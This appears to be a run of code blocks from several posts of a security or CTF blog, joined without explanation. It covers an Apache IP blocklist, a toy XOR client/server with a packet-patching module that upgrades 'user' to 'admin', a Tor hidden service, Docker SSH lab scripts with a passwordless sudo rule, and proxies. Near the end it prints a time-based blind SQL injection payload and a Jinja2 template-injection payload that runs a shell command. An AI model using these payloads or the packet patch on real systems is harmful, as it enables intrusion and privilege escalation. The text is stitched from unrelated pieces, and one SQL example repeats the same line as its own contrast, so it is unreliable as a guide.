#!/bin/bash
# 0x25

logpath='/tmp/blocklist.log'
filepath='/etc/apache2/blocklist.txt'
tmpfilepath='/tmp/blocklist.tmp'

action=''
ip=''
duration=''
reason=''
json=''

# check action
if [[ "$1" != "add" && "$1" != "del" ]]; then
  echo "$(date) - Error: first arg need to be add or del - $@" >> $logpath
  exit 1
fi
action=$1

# check IP IPV4
if ! [[ "$2" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
  echo "$(date) - Error: seconf arg need to be an IPv4 - $@" >> $logpath
  exit 1
fi
ip=$2

# check time
if ! [[ "$3" =~ ^[-0-9]+$ ]]; then
  echo "$(date) - Error: third arg need to be an integer - $@" >> $logpath
  exit 1
fi

duration=$3
reason=$4
json=$5


if [[ "$action" == "add" ]]; then
  # Add IP
  if ! grep -q -F $ip $filepath; then
    echo "$(date) - Info: add $ip" >> $logpath
    echo "$ip b" >> $filepath
  else
    echo "$(date) - Warning: add $ip already exist" >> $logpath
  fi
else
  # Del IP
  echo "$(date) - Info: del $ip" >> $logpath
  pattern="$ip b"
  sed "/$pattern/d" $filepath > $tmpfilepath
  cp $tmpfilepath $filepath
fi

RewriteEngine On
RewriteMap blocklist txt:/etc/apache2/blocklist.txt
RewriteCond ${blocklist:%{HTTP:X-Forwarded-For}} ^b$ [NC]
RewriteRule .* - [F,L]

import socket
import argparse
from itertools import cycle

default_login = 'user'
default_data = 'Hello server'
key = 'R9pRCDwWG8hw7BYg3wv3tZY'

parser = argparse.ArgumentParser()
parser.add_argument('-l','--login', default=default_login, help='user type [user] or admin')
parser.add_argument('-d','--data', default=default_data, help='data send to server')
args = parser.parse_args()

data_input = args.data
user_type = args.login

def xor(message,key):
  cryptedMessage = ''.join(chr(ord(c)^ord(k)) for c,k in zip(message, cycle(key)))
  return cryptedMessage


f = open("client_config.txt", "r")
server = f.readline()

ADRESSE = server.split(':')[0]
PORT = int(server.split(':')[1])

# Create a client socket
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the server
clientSocket.connect((ADRESSE,PORT))

# Send data to server
data = f"{user_type}|{data_input}"
data = xor(data,key)


clientSocket.send(data.encode())

# Receive data from server
dataFromServer = clientSocket.recv(1024)

# Print to the console
xor_output = dataFromServer.decode()

output = xor(xor_output,key)
if output.find('userType:1') == 0:
  print("you are ADMIN! (userType:1)")

if output.find('userType:0') == 0:
  print("you are user :/ (userType:0)")

127.0.0.1:6781

import socket
from signal import signal, SIGINT
from sys import exit
from itertools import cycle

# xor key
key = 'R9pRCDwWG8hw7BYg3wv3tZY'

def xor(message,key):
  cryptedMessage = ''.join(chr(ord(c)^ord(k)) for c,k in zip(message, cycle(key)))
  return cryptedMessage

def handler(signal_received, frame):
    # Handle any cleanup here
    print('SIGINT or CTRL-C detected. Exiting gracefully')
    exit(0)

signal(SIGINT, handler)

ADRESSE = '127.0.0.1'
PORT = 6781

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((ADRESSE, PORT))
server.listen()

while True:
  client, adresseClient = server.accept()
  print('Connection from ', adresseClient)
  data_rcv = client.recv(1024)

  if not data_rcv:
    print('Reception error')

  else:
    print('Reception of:' + data_rcv.decode())
    data = xor(data_rcv.decode(),key)
    print(f'unxor {data}')
    datas = data.split('|')
    user = datas[0]

    if user == 'admin':
      response = 'userType:1;userRight:11111'
    else:
      response = 'userType:0:userRight:00000'

    response = response + ';randomId:666;randomValue:nodata;someField:' + datas[1]
    xor_response = xor(response,key)
    n = client.send(xor_response.encode())
        
    if (n != len(response)):
      print('Send error')
    else:
      print('Send ok.')

#!/usr/bin/env python3
import os.path as path
import re
from itertools import cycle

class Module:
    def __init__(self, incoming=False, verbose=False, options=None):
        # patch tcp flow
        self.name = path.splitext(path.basename(__file__))[0]
        self.description = 'Patch tcp'
        self.incoming = incoming  # incoming means module is on -im chain
        self.start = 46
        self.end = 66
        self.str = b'\x09'
        self.patch = b''
        self.key = 'R9pRCDwWG8hw7BYg3wv3tZY'

    def xor(self,data):
        cryptedMessage = ''.join(chr(ord(c)^ord(k)) for c,k in zip(data, cycle(self.key)))
        return cryptedMessage

    def help(self):
        return '\tPatch TCP and more'

    def execute(self, data):
        packets = bytearray(data)
        out = self.xor(data.decode())
        print(f"unxor data: {out}")

        if bytes(packets[6:11]).hex() == '07327d0852': # test hex signature to detect user packet
            print('> PATCH USER TO ADMIN')
            packets[9] = 9 # patch user to admin

        return packets

if __name__ == '__main__':
    print ('This module is not supposed to be executed alone!')

sudo apt update
sudo apt upgrade
sudo apt install -y tor nginx php-fpm screen
#sudo apt install nano #optionnal

cd /etc/nginx/sites-available/
sudo touch tor

server {

        #listen 127.0.0.1:80;
        listen unix:/var/run/nginx-tor.sock;

        root /var/www/html/tor/;

        index index.html index.php;

        server_name _;
        #server_name lcr[...]vijybok6d2yepvyqd.onion;

        access_log /var/log/nginx/tor-access.log;
        error_log /var/log/nginx/tor-error.log;


        location / {
                try_files $uri $uri/ =404;
        }

        if ($request_method !~ ^(GET|HEAD|POST)$ ){
          return 405;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
        }
}

sudo ln -s /etc/nginx/sites-available/tor /etc/nginx/sites-enabled/

sudo service php7.4-fpm start

cd /var/www/html
sudo mkdir tor
cd tor
sudo nano index.php

<?php

echo uniqid('My-tor-portal::', true);

?>

sudo chown -R www-data:www-data tor

sudo service nginx start

sudo nano /etc/tor/torrc

# add in section "This section is just for location-hidden services"

HiddenServiceDir /var/lib/tor/myService/
HiddenServicePort 80 unix:/var/run/nginx-tor.sock

screen -S tor
sudo -u debian-tor tor -f /etc/tor/torrc 
[...]
MMM xx 13:50:59.000 [notice] Bootstrapped 95% (circuit_create): Establishing a Tor circuit
MMM xx 13:51:00.000 [notice] Bootstrapped 100% (done): Done

sudo cat /var/lib/tor/myService/hostname
xbt52kwof7g32bxrbznefvtotc3lpzcxtfagbbny2hmpzzcmch6iivyd.onion

sudo nano /etc/nginx/sites-ava
# change server_name _; by your onion address
server_name xbt52kwof7g32bxrbznefvtotc3lpzcxtfagbbny2hmpzzcmch6iivyd.onion;

# save file
# stop nginx : sudo service nginx stop
# sudo rm /var/run/nginx-tor.sock   
# restart nginx : sudo nginx start

curl --unix-socket /var/run/nginx-tor.sock http:/index.php

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
	# We have color support; assume it's compliant with Ecma-48
	# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
	# a case would tend to support setf rather than setaf.)
	color_prompt=yes
    else
	color_prompt=
    fi
fi

# custom
IP=$(tac /etc/hosts | head -n 1 | awk '{print $1}')
if [ ! -f .colorc ]; then
    COLOR=$((1 + $RANDOM % 256))
    echo -ne $COLOR > .colorc
else
    COLOR=$(cat .colorc)
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[48;5;${COLOR}m\](Docker)\[\033[00m\]\[\033[01;95m\] \u@${IP}\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root	ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo  ALL=(ALL) NOPASSWD: ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

configFiles/
├── bashrc
├── id_rsa.pub
└── sudoers

docker build -t docker_ssh --label latest --pull .

#!/bin/bash

docker_name="ssh"
docker_image='docker_ssh'

# help
usage(){
  echo "-n [name] for the docker name prefix, default : ${docker_name}"
	echo "-l for the number of docker, default : 1"
	echo "-i for the docker image name , default : ${docker_image}"
	echo "-h for the help"
  exit 1
}

random_id(){
	echo $(cat /dev/random | tr -dc 'a-zA-Z0-9' | fold -w 4 | head -n 1)
}
loop=1

while getopts ":n:i:l:h" options; do

	case "${options}" in
	h)
		usage
		exit
		;;
	n)
		docker_name=${OPTARG}
		;;
  i)
    docker_image=${OPTARG}
    ;;
	l)
		loop=${OPTARG}
		re_isanum='^[0-9]+$'
		if ! [[ $loop =~ $re_isanum ]]; then

			echo "Error: i must be a num"
			usage
			exit 2
		elif [ $loop -eq "0" ]; then

			echo "Error: i must be > 0"
			usage
			exit 3
		fi
		;;
	:)
		echo "Error: -${OPTARG} requires an argument."
		usage
		exit 4
		;;
	*)
		echo "Error: fail option..."
		usage
		;;
	esac
done

ips=()

for (( c=1; c<=$loop; c++ )); do

	id=$(random_id)
	name="${docker_name}_${id}"
	#echo "Create docker : [$name]"
	uuid=$(docker run -d --name $name $docker_image)
	#echo "$uuid"
	ips+=($(docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $uuid))
	echo -ne "."
done

echo ""

for ip in "${ips[@]}"; do
	echo "ssh $ip"
done

#!/bin/bash

name='ssh_'

function usage(){

	echo "-n [name] filter prefix to delete, default value: $name"
	echo "-h show help"
}


while getopts ":n:h" options; do

	case "${options}" in
	h)
		usage
		exit
		;;
	n)
		name=${OPTARG}
		;;
	:)
		echo "Error: -${OPTARG} requires an argument."
		usage
		exit 4
		;;
	*)
		echo "Error: fail option..."
		usage
		;;
	esac
done


# docker stop all containers
docker stop $(docker ps -a -q -f name=$name) >/dev/null

# Docker rm all
docker rm $(docker ps -a -q -f name=$name) >/dev/null

tcp        0      0 127.0.0.1:1082          0.0.0.0:*               LISTEN      7296/ssh            
tcp        0      0 127.0.0.1:1080          0.0.0.0:*               LISTEN      7280/ssh            
tcp        0      0 127.0.0.1:1081          0.0.0.0:*               LISTEN      7288/ssh  

sudo service nginx restart

curl --socks5 127.0.0.1:3333 http://myexternalip.com/raw

select * from (select id,username from costume where id like 1 and substr(username,1,1) like CHAR(0X37) and randomblob(100000000) ) 

SELECT StudentName 'Student Name' FROM Students;
# is the same as
SELECT StudentName 'Student Name' FROM Students;

CREATE TABLE costume (id integer primary key, username varchar(20), enemy varchar(20) );

insert into costume (username,enemy) VALUES ("Cap'tain flag",'{FLAG}');
insert into costume (username,enemy) VALUES ('Spiderman','Green Goblin');
insert into costume (username,enemy) VALUES ('Batman','The Joker');
insert into costume (username,enemy) VALUES ('Superman','Lex Luthor');

{
  "ssf": {
    "tls" : {
      "ca_cert_path": "./certs/trusted/ca.crt",
      "cert_path": "./certs/certificate.crt",
      "key_path": "./certs/private.key",
      "key_password": "",
      "dh_path": "./certs/dh1024.pem",
      "cipher_alg": "DHE-RSA-AES256-GCM-SHA384"
    },
    "http_proxy" : {
      "host" : "127.0.0.1",
      "port" : 3128,
      "credential" : {
        "reuse_ntlm" : "false",
        "reuse_nego" : "false"
      }
    }
  }
}

hexo new <title>
hexo generate

$ cat .gitignore                                                                                                                              
.*
*.sh

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}